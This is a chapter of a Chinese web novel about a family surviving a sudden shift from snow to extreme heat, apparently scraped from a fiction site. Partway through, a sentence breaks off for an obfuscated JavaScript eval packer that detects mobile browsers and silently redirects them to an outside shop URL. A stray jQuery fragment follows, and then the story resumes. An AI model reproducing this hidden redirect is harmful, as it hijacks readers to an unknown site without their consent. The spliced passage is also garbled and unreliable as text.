文趣网 > 其他小说 > 全球进化:重生回早期天灾 > 73. 极温天灾
    “咕~咕~咕~”

    从高空往下俯瞰,刺眼洁白的雪地里出现了纵横交错的沟壑,水声哗哗作响,圆滚滚的貉群泡在浅滩里,四爪悠哉地朝后划水,发出轻柔的呜咽声。

    水面突然冒出金灿灿的扁平脑袋,金毛貉用两只粗短的前肢撑地,蛄蛹着滚圆的体格,快跑到顾砚辞脚边。

    “唰唰唰——”头戴棒球帽的顾砚辞使劲搓洗毛衣,拧干后,丢进一旁的塑料红盆。

    三只紧跟上来的小貉,也扭着圆臀,在他脚边打闹。

    “哎?我这二十几件衣服呢,别捣乱啊。”顾砚辞抬起头,露出刚被晒伤的颧骨,出声警告。

    “我这盆衣服刚洗完,还没清干净,你爬进来什么意思...要帮我洗?”湿漉漉的金毛貉从红盆里站起身,张嘴看了眼。

    “哈!哈!”

    顾砚辞:“先爬出来,我这黑衣服黏毛得很。”

    他话刚说完,曲肘倒掉了塑料蓝盆里黑灰色的脏水。

    在房檐的阴影下,当然不只顾砚辞一人在洗衣服,董文哲正弯腰,咬牙切齿的搓洗棉服。

    站在他肩上啃咬红薯的花枝鼠,看着奔跑到眼前的金毛貉,胡须轻颤,迅速逃进董文哲前胸的口袋。

    冒着热气的胖貉一头撞进他的怀里,董文哲把脸盆踢远了一些,硬着头皮拉偏架。

    “哈哈,你先别急...等我洗完衣服,我现在空不出手啊。”

    三楼传来熟悉的女声,“上来吃饭,稀饭已经煮好了!”

    ...

    上午10:44,父子两人满身大汗的赶回到家,三轮车的车斗里装了6箱从平坦水稻田挖来的泥浆。

    白祈枂头戴着草帽,脸被热得变成了黑红色。

    他把车停在了芭蕉树下,树荫里还有两只乘凉的牛。

    “总算是缓过来了,等地面的雪全化了,三轮车也开不出去了。”他摘下还算新鲜的绿帽子。

    院里的浅池里,是戏水嬉闹的鸭鹅,状态比早起时精神许多,母鸭从水下扬起脑袋,在溅起晶亮的水珠里,畅快的嘎嘎两声。

    白永年搬起收纳箱,走进屋内,“现在温度起码有30度,再过十分钟,你就把鸭鹅赶回家。”

    “好嘞。”

    两只白鹅展翅从水里上岸,昂首拉扯从雪里冒头的马兰头,发出愉快的进食声,“喔喔!”

    宽厚的芭蕉叶随风摇摆着,弯腰拔除杂草的白祈枂,这才发觉头顶上有黑影闪动。

    ?

    从墙缝里蜿蜒爬出的根须,在他面前狂舞摇摆,引起了他的关注,又向上勾了勾。

    白祈矜拿着钢丝球刷洗玻璃表面的胶痕,看见楼下一人一草的互动,出声提示,“小枂,你把手里的野草递给它。”

    “啊?”白祈枂把整把绿草递给了根须,又在它晃悠悠独木难支的时候,伸手帮忙扶稳了些。

    他仰头朝上看,瞧见了挂在天台边窸窣颤抖的草席,黄白色的根须正拿着野草朝下编织。

    二楼窗户边传来白祈矜姗姗来迟的话音,“跟你戴的草帽是同款,你看看不愧是长在悬崖上的兰花,连干活都这么有效率。”

    吊挂在半空的根须织得愈发卖力。

    “姐,你觉不觉得...这草席有点太厚了。”

    啪嗒一声轻响,天台的根须断裂,草席在空中翻转两圈,盖到了白祈枂的肩膀上。

    他提起来,抖了抖叶片上的水渍,“姐,这可有十斤重啊,我们睡觉的棉絮才只有8斤,这又厚又大一片,挂哪里啊?”

    这草毯像是小姑娘午睡后的麻花辫,七扭八歪,又布满死结。

    要他评价,织得是6分勤勉4分勉强。

    白祈矜语气含笑:“你别打击草的积极性,等风吹一吹,阳光再晒一晒,水分蒸发完,就没这么重了。”

    细如发丝的根须,凌空甩了甩,扯走了白祈枂手里的草席,抱进二楼的阳台里。

    “所有窗户里的棉絮和布条我全取下了,这草席我想着,用竹条撑起,架在窗户外,我们屋内还能凉快点。”

    白祈枂听懂了她的未竟之语,嗓音发沉,“情况还会变得更糟糕吗?”

    “先做好准备吧。”

    白永年握紧扫帚,将最后一点积雪推扫下楼,露出天台耐脏的大理石砖。

    收纳箱里的泥浆微微发热,他往里面加了半桶雪水,等泥浆浓度变稀了之后,才均匀的铺在大理石表面。

    白永年洗干净手,喝下半壶温水,没有休息,接着又提起剩下半桶的泥水,走下4楼。

    自从到地底种田,他们几乎没有时间打理家里的种植箱,只有每天晚饭前的半小时,上楼浇水,再粗略地清理藏在菜叶下的害虫。

    现阶段,箱内主要是种植周期短、易于收割的蔬菜。

    四楼客房里只剩下10个种植箱,长着厨房必备的葱姜蒜,剩余7个箱内长着青黑色的朝天椒,绿油油的韭菜、茼蒿和雪里红,乳黄色的芹菜还有瘦小的红萝卜。

    白永年先往缺水发蔫的红萝卜边浇上一瓢水,才按着逆时针的顺序检查种植箱的情况。

    三楼,许秀琴走过锃亮清爽的客厅,提起洗干净的水桶和拖把,走进卫生间。

    一璇开门,看见对着镜子剪发的儿子,和蹲在磨砂玻璃隔间里刷洗王八甲壳的女儿。

    毛发半干的狐狸咧嘴蹲在白祈枂脚边。

    许秀琴:“你怎么这么理发?拿剪刀剪,待会剪得坑坑洼洼的。”

    白祈枂左手抓着剪下来的头发,对着镜子伸长脖子,来回转动侧脸,边欣赏边说道,“我电子剃刀早没电了,我待会剪得差不多,拿剃须刀刮一刮。”

    许秀琴将水桶和拖把放回原位。

    伸开右手,“我来帮你剪。”

    ...

    正午时分,刺眼炽热的太阳高悬于头顶,清晨蔚蓝的天空失去了色彩,褪色成无机质的银灰色。

    苍穹下的大地像是在痛苦中融化、在哀嚎里挣扎。

    铺在前院的麦秆散发出苦涩的焦味,道路前方的电线杆仿佛

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17756197|202339||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    被大力揉捏过,变得歪斜扭曲。

    付思源抱着洗衣盆走在最前面,白洛梅抓着护栏气喘吁吁地落在后后。

    付思源:“我都说了,我一个人来就行,你非要跟我一起爬上来。”

    白洛梅瞧他那发颤的嘴角,知晓他关心自己,还是给了他三分薄面。

    “你也比我大了三岁,别逞强了,现在可不是你五十岁那会,这么重的毛毯,你自己来拧,肯定会抻到腰。”

    两人各握住一边,面对面站着,朝反方向拧动毛毯。

    付思源背后的阳台门没关严,留出一道缝,屋外架在太阳能板上的旧草席,发出仿若热锅烧油时滋滋的轻响。

    白洛梅:“这毛毯我们就搭在楼梯上吧。”

    付思源:“行,我们歇一会,等气温降下去一些,再烧饭。”

    白洛梅用虚浮的双手,抹去脸上的汗液,“今天我没胃口,就煮点稀饭,等凉快些,我配点酸萝卜吃。”

    付思源用右手搀扶她慢慢的往下走,“好,家里还剩下一点绿豆,我煮饭时加一把下去...”

    从楼梯下传来的声音渐渐减弱,没人留意到被风吹开的阳台门。

    贴墙种着洋葱的塑料花盆,突然卷起阵阵黑烟,橙红色的火色从黑烟里挣扎窜出,随风跃进半干不湿的毛毯。

    ...

    白永年满脸通红的走进厨房,他一抬脚,正好瞧见地板上接连摆成一片的杯碗,内里澄澈的雪水还在微微荡漾。

    连待客的茶杯都添足了水。

    “这么夸张?”

    “不夸张啦,我们家还有三个人没洗头洗澡呢。”

    “你在楼上是没瞧见,到积雪融化的末尾,水洼里只飘起了一点碎雪,还没怎么眨眼,水连带着雪全汽化了。”

    “现在在后山是看不见一点水珠了。”

    白祈枂顶着圆润的寸头,那头发像是脆桃上的绒毛。

    白永年稍稍左移视线,看见女儿刚到下巴的短发,和妻子及肩的头发。

    “这是都理头了?”

    许秀琴:“那么长的头发又热又废水,我看他们两都剪了我也跟着剪了。”

    白永年摸了摸自己常年只长到两厘米高的头发,跟着点了点头。

    灶台里还剩下4个尚有余温的窝窝头。

    白祈枂从贴墙放的蔬菜栏里,翻到了两根嫩黄瓜。

    扬眉询问,“中午先凑合吃下?”

    许秀琴:“别生火了,我现在觉得自己就是蒸屉里的一块膨胀鼓起馒头,怎么能热得这么快?”

    白祈枂拿起菜刀,用刀面拍打黄瓜,低头说道,“比以前来台风前的闷热还要夸张。”

    白祈矜轻轻眨了一下干涩的眼睛,“现在体感温度大概超过50度了。”

    “我就说嘛,怎么能有这么热,我们多亏跟着小矜跑进狐尾山,往院里种了树,还能蹭点树荫。”许秀琴扬起眼尾,庆幸地说道。

    上辈子,气温最高时能直逼80摄氏度,那真是一片人间炼狱。